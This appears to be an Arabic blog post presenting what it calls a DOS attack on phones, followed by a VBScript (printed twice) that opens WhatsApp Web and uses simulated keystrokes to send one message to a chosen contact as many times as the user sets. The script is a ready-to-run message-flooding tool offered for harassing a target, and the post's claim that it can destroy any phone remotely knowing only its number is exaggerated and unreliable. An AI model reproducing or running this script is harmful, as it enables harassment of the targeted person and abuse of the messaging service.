.png)
سبق و تطرقنا إلى شرح هجمات الحرمان من الخدمة التي تستهذف السيرفورات و تقوم بتدميرهم وذكرنا المواقع التي تم تعطيلها بسبب هذه الهجمة مثل Twitter, GitHub, PayPal Amazon,soundcloud , Reddit, Netflix, Spotify. و كما نعلم فأن هذه المواقع تعتبر من أكبر المواقع على الأنترنيت و تم تعطيلها بسبب هجمة DOS أو الحرمان من الخدمة.
إذن في درسنا اليوم و الذي هو درس حصري سنتطرق إلى شرح هذه الهجمة لكن ليس على السيرفورات و إنما هذه المرة على الهواتف و كيف يمكن لأي متطفل القضاء على هاتفك فقط بمعرفة رقمك الخاص .
إذن أحبتي في الله كي أطيل عليكم سأترككم مع الشرح بالفيديو كيف يتم تدمير أي هاتف عن بعد عبر هجمة DOS
إذن في درسنا اليوم و الذي هو درس حصري سنتطرق إلى شرح هذه الهجمة لكن ليس على السيرفورات و إنما هذه المرة على الهواتف و كيف يمكن لأي متطفل القضاء على هاتفك فقط بمعرفة رقمك الخاص .
إذن أحبتي في الله كي أطيل عليكم سأترككم مع الشرح بالفيديو كيف يتم تدمير أي هاتف عن بعد عبر هجمة DOS
فرجة ممتعة
رابط شرح هجمات DOS بالتفصيل
السكريبت
----------------------------------------------------------------------------------------------
' InputBoxes
Contact = InputBox("With which contact do you want to make DDos?", "WhatsApp DDos By Qaiboub")
Message = InputBox("What is the message to send?","WhatsApp DDos By Qaiboub")
T = InputBox("How many times does the message need to be sent?","WhatsApp DDos By Qaiboub")
If MsgBox("Você preencheu tudo corretamente", 1024 + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbOk Then
' Go To WhatsApp
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("https://web.whatsapp.com/", 1)
' Loading Time
If MsgBox("O WhatsApp Web está aberto?" & vbNewLine & vbNewLine & "Aperte Não para cancelar", vbYesNo + vbQuestion + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbYes Then
' Go To The WhatsApp Search Bar
WScript.Sleep 50
WshShell.SendKeys "{TAB}"
' Go To The Contacts Chat
WScript.Sleep 50
WshShell.SendKeys Contact
WScript.Sleep 50
WshShell.SendKeys "{ENTER}"
' The Loop For The Messages
For i = 0 to T
WScript.Sleep 5
WshShell.SendKeys Message
WScript.Sleep 5
WshShell.SendKeys "{ENTER}"
Next
' End Of The Script
WScript.Sleep 3000
MsgBox "DDosing no " + Contact + " foi feito com sucesso", 1024 + vbSystemModal, "DDos feito"
' Canceled Script
Else
MsgBox "O processo foi cancelado com sucesso", vbSystemModal, "DDos Cancelado"
End If
Else
End If
Contact = InputBox("With which contact do you want to make DDos?", "WhatsApp DDos By Qaiboub")
Message = InputBox("What is the message to send?","WhatsApp DDos By Qaiboub")
T = InputBox("How many times does the message need to be sent?","WhatsApp DDos By Qaiboub")
If MsgBox("Você preencheu tudo corretamente", 1024 + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbOk Then
' Go To WhatsApp
Set WshShell = WScript.CreateObject("WScript.Shell")
Return = WshShell.Run("https://web.whatsapp.com/", 1)
' Loading Time
If MsgBox("O WhatsApp Web está aberto?" & vbNewLine & vbNewLine & "Aperte Não para cancelar", vbYesNo + vbQuestion + vbSystemModal, "WhatsApp DDos By Qaiboub") = vbYes Then
' Go To The WhatsApp Search Bar
WScript.Sleep 50
WshShell.SendKeys "{TAB}"
' Go To The Contacts Chat
WScript.Sleep 50
WshShell.SendKeys Contact
WScript.Sleep 50
WshShell.SendKeys "{ENTER}"
' The Loop For The Messages
For i = 0 to T
WScript.Sleep 5
WshShell.SendKeys Message
WScript.Sleep 5
WshShell.SendKeys "{ENTER}"
Next
' End Of The Script
WScript.Sleep 3000
MsgBox "DDosing no " + Contact + " foi feito com sucesso", 1024 + vbSystemModal, "DDos feito"
' Canceled Script
Else
MsgBox "O processo foi cancelado com sucesso", vbSystemModal, "DDos Cancelado"
End If
Else
End If
----------------------------------------------------------------------------------------------
ليست هناك تعليقات:
إرسال تعليق